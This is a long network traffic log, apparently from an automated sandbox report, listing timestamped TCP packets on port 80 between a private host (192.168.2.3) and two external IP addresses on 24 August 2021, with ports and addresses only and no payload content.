Aug 24, 2021 14:01:43.728591919 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.728596926 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.728601933 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.728605032 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.728626966 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.728652000 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.728665113 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.728672981 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.728703976 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.728712082 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.728732109 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.728734016 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.728753090 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.728756905 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.728773117 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.728790045 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.728791952 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.728812933 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.728816032 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.728832960 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.728859901 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.728873014 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.728883982 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.728899002 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.728920937 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.728938103 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.728948116 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.728960991 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.728988886 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.729001045 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729008913 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.729023933 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729052067 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.729063988 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.729063988 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729090929 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729113102 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.729129076 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729130030 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.729151964 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729171991 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729178905 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.729192019 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729198933 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.729212046 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729237080 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729238033 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.729259014 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729279995 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729288101 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.729301929 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729305983 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.729321957 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729346037 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.729357958 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729382992 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.729383945 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729407072 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729427099 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.729427099 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729448080 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729461908 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.729468107 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729497910 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.729502916 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729535103 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.729537964 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729557991 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729573011 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.729578018 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729598045 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729623079 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729624033 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.729645014 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.729646921 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729666948 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729682922 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.729687929 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729707956 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729722023 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.729727030 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729748011 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729758024 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.729768038 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729799032 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.729804993 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729824066 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.729844093 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729856014 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.729885101 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729902983 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.729932070 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729940891 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.729971886 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.729984045 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.730005980 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.730016947 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.730026007 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.730046988 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.730065107 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.730078936 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.730098963 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.730102062 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.730123997 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.730145931 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.730159998 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.730168104 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.730182886 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.730202913 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.730211020 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.730223894 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.730243921 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.730251074 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.730269909 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.730290890 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.730292082 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.730313063 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.730315924 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.730333090 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.730364084 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.730367899 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.730380058 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.730395079 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.730407953 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.730411053 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.730429888 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.730437040 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.730447054 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.730462074 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.730473995 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.730477095 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.730493069 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.730504036 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.730513096 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.730529070 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.730531931 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.730544090 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.730559111 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.730560064 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.730575085 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.730591059 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.730608940 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.730627060 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.730644941 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.730660915 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.730679035 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.730679989 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.730704069 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.730726957 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.730741978 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.730748892 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.730750084 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.730779886 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.730782032 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.730808020 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.730812073 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.730837107 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.730856895 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.730866909 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.730886936 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.730892897 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.730906963 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.730932951 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.730937004 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.730966091 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.730974913 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.730994940 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.731004000 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.731024981 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.731055975 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.731057882 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.731079102 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.731081009 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.731098890 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.731101990 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.731151104 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.731152058 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.731158018 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.731177092 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.731199026 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.731223106 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.731246948 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.731249094 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.731266975 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.731287956 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.731291056 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.731311083 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.731312990 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.731333017 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.731334925 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.731355906 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.731363058 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.731376886 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.731399059 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.731401920 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.731420040 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.731440067 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.731441975 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.731461048 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.731472969 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.731482983 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.731504917 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.731513977 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.731528044 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.731547117 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.731558084 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.731569052 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.731590986 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.731590986 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.731611013 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.731618881 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.731633902 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.731654882 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.731662989 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.731677055 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.731698990 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.731703997 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.731719971 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.731730938 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.731759071 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.731795073 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.731798887 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.731821060 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.731832027 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.731859922 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.731882095 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.731887102 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.731918097 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.731941938 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.731941938 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.731966019 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.731986046 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.731992960 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732016087 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732038021 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.732038975 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732059956 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732083082 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.732084990 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732108116 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.732109070 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732131004 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732151031 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.732153893 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732177019 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732184887 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.732198954 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732220888 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732228041 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.732242107 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732261896 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.732265949 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732290030 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732292891 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.732311010 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732331991 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.732335091 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732358932 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732359886 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.732379913 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732403040 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732408047 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.732425928 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732450008 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.732450008 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732475042 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732476950 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.732496023 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732517004 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.732518911 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732539892 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732562065 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.732563019 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732585907 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732587099 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.732608080 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732630968 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.732634068 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732659101 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732676983 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.732681990 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732707024 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.732734919 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732748985 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.732758999 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732791901 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.732805014 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732832909 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.732844114 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732855082 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.732876062 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732897997 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.732911110 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.732912064 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732948065 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732954979 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.732969999 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.732991934 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.732994080 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.733016014 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.733017921 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.733041048 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.733045101 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.733064890 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.733068943 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.733087063 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.733108997 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.733109951 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.733130932 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.733133078 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.733155012 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.733175993 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.733177900 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.733200073 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.733211040 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.733226061 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.733248949 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.733252048 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.733273029 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.733294010 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.733294964 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.733318090 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.733318090 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.733339071 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.733360052 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.733361959 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.733383894 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.733396053 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.733408928 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.733433008 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.733433008 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.733457088 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.733479023 CEST	49724	80	192.168.2.3	172.67.216.236
